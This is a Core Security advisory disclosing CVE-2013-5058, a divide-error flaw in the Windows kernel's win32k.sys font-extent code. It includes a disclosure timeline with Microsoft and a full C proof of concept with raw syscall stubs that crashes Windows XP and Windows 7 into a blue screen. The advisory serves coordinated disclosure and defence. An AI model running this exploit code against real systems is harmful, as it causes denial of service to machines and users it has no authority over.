Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Divide Error in Windows Kernel 1. *Advisory Information* Title: Divide Error in Windows Kernel Advisory ID: CORE-2013-0807 Advisory URL: http://www.coresecurity.com/advisories/divide-error-in-windows-kernel Date published: 2013-12-11 Date of last update: 2013-12-11 Vendors contacted: Microsoft Release mode: Coordinated release 2. *Vulnerability Information* Class: Integer overflow [CWE-190] Impact: Denial of service Remotely Exploitable: No Locally Exploitable: Yes CVE Name: CVE-2013-5058 3. *Vulnerability Description* Windows kernel is prone to a security vulnerability when executing the (GDI support) function 'RFONTOBJ::bTextExtent' located in 'win32k.sys'. This vulnerability could be exploited by an attacker to crash the windows kernel by calling the user mode function 'NtGdiGetTextExtent' with specially crafted arguments. Microsoft notifies that this vulnerability may allow Elevation of Privilege attacks but did not provide further technical details. 4. *Vendor Information, Solutions and Workarounds* For additional information regarding affected versions, non-affected versions, fixes and official patches please visit: . Microsoft Security Bulletin MS13-101 - https://technet.microsoft.com/en-us/security/bulletin/ms13-101. . Description of the security update for Windows kernel-mode drivers - http://support.microsoft.com/kb/2893984 5. *Credits* This vulnerability was discovered and researched by Nicolas Economou from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 6. *Technical Description / Proof of Concept Code* The vulnerable function is 'RFONTOBJ::bTextExtent', located in the Windows kernel driver 'win32k.sys'. The way to call this function from user mode is calling the function 'NtGdiGetTextExtent'. The bug takes place when performing a signed division 'IDIV', the result does not fit in the destination and the kernel raises an 'INTEGER OVERFLOW' exception. 6.1. *Proof of Concept* The following PoC was compiled in VS2012 and tested against Windows XP and Windows 7, and it allows reproducing the vulnerability. By running this PoC the affected OS will crash into a blue screen. /----- # include <windows.h> # include <stdio.h> __declspec (naked) int _NtGdiSetTextJustification (HDC v1, int extra, int count) { // Windows XP __asm mov eax,0x111e __asm mov edx,0x7ffe0300 __asm call dword ptr [edx] __asm ret 0x0c } __declspec (naked) int _NtGdiGetTextExtent (HDC v1, int v2, int v3, int v4, int v5) { // Windows XP __asm mov eax,0x10cc __asm mov edx,0x7ffe0300 __asm call dword ptr [edx] __asm ret 0x14 } __declspec (naked) int _NtGdiSetTextJustification_W7 (HDC v1, int extra, int count) { // Windows 7 __asm mov eax,0x1129 __asm mov edx,0x7ffe0300 __asm call dword ptr [edx] __asm ret 0x0c } __declspec (naked) int _NtGdiGetTextExtent_W7 (HDC v1, int v2, int v3, int v4, int v5) { // Windows 7 __asm mov eax,0x10D6 __asm mov edx,0x7ffe0300 __asm call dword ptr [edx] __asm ret 0x14 } int main () { char buffer [4096]; OSVERSIONINFO v; HDC hdc; memset(buffer, 0, 4096); /* Obtaining the OS version */ memset(&v, 0, sizeof(v)); v.dwOSVersionInfoSize = sizeof(v); GetVersionEx(&v); hdc = CreateCompatibleDC(NULL); /* If it's Windows XP */ if ((v.dwMajorVersion == 5) && (v.dwMinorVersion == 1)) { _NtGdiSetTextJustification(hdc, 0x08000000, 0xffffffff); _NtGdiGetTextExtent(hdc, (int) buffer, 0x11, 0x44444444, 0x55555555); } /* If it's Windows 7 */ else if ((v.dwMajorVersion == 6) && (v.dwMinorVersion == 1)) { _NtGdiSetTextJustification_W7(hdc, 0x08000000, 0xffffffff); _NtGdiGetTextExtent_W7(hdc, (int) buffer, 0x11, 0x44444444, 0x55555555); } else { printf("unsupported OS\n"); } return 0; } -----/ 7. *Report Timeline* . 2013-08-12: Core Security Technologies notifies the MSRC of the vulnerability. Publication date is set for Sep 3rd, 2013. . 2013-08-12: MSRC acknowledges the receipt of the information and opens the case 15304 for this issue. . 2013-09-02: Core asks for a status update. . 2013-09-02: MSRC confirms that they have reproduced the issue as reported and asks to postpone the publication of technical details until an upcoming security update. . 2013-09-02: Core asks for an estimated release date. . 2013-09-03: First release date missed. . 2013-09-08: MSRC notifies that they are still investigating the root cause of this issue and that they will send an update when begin developing a fix. . 2013-09-09: Core notifies that the advisory publication was tentatively re-scheduled for October 8th, 2013. . 2013-10-08: Second release date missed. . 2013-10-15: Core asks for a status update. . 2013-10-16: MSRC notifies that they have reproduced the issue; however, they are still performing the standard variant investigation and fuzzing to ensure a complete fix for the issue. . 2013-11-04: MSRC notifies that they have completed the investigation and are currently developing a fix. Typically, developing and testing a fix is a process that takes at least 30 days. . 2013-11-14: MSRC notifies that they are currently testing a fix for this issue. . 2013-11-26: Core re-schedules the advisory publication for Dec 16th. . 2013-12-10: MSRC releases the Security Bulletin MS13-101 [1], [2] for this vulnerability without notify Core. . 2013-12-11: Advisory CORE-2013-0807 published. 8. *References* [1] Microsoft Security Bulletin MS13-101, https://technet.microsoft.com/en-us/security/bulletin/ms13-101. [2] Description of the security update for Windows kernel-mode drivers, http://support.microsoft.com/kb/2893984. 9. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 10. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 11. *Disclaimer* The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 12. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.